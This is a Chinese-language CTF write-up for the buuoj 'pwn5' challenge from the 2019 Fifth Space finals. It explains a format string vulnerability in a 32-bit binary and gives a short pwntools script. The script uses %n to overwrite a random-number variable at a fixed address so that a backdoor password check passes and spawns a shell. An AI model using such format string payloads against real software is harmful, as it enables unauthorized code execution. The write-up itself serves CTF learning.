buuoj - 第五空间2019 决赛

RocketDev

From buuoj.

文件分析

下载pwn,NX on, PIE on, RELRO partial
ghidra分析为32位程序

解题思路

找到main函数后,发现输入username和passwd,并且存在后门:当passwd==randint时,打开sh,其中randint从文件读入为随机数
由于读入的username和passwd长度等于其数组长度,无法考虑 栈溢出 ,转而考虑对atoi()的利用

Day 2

由于username在函数printf中,因此应当考虑格式化字符串漏洞将指定数值注入randint

EXPLOIT

经过gdb调试可知,变量username所在地址比printf第一个参数的地址高0x28,即10个DWORD
构造以下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
sh = process('pwn5')

# 静态变量randint的地址为0x0804c044
sh.sendline(b'aa$12%nx' + p32(0x0804c044))
# arg10: 'aa$1', arg11: '2%nx', arg12: 0x0804c044
#即将2(成功打印aa 2个字符)写入randint中

sh.sendline(b'2')
sh.interactive()
#输入cat flag取得flag

sh.close()

Done.

  • 标题: buuoj - 第五空间2019 决赛
  • 作者: RocketDev
  • 创建于 : 2023-09-19 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/19/pwn5/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
buuoj - 第五空间2019 决赛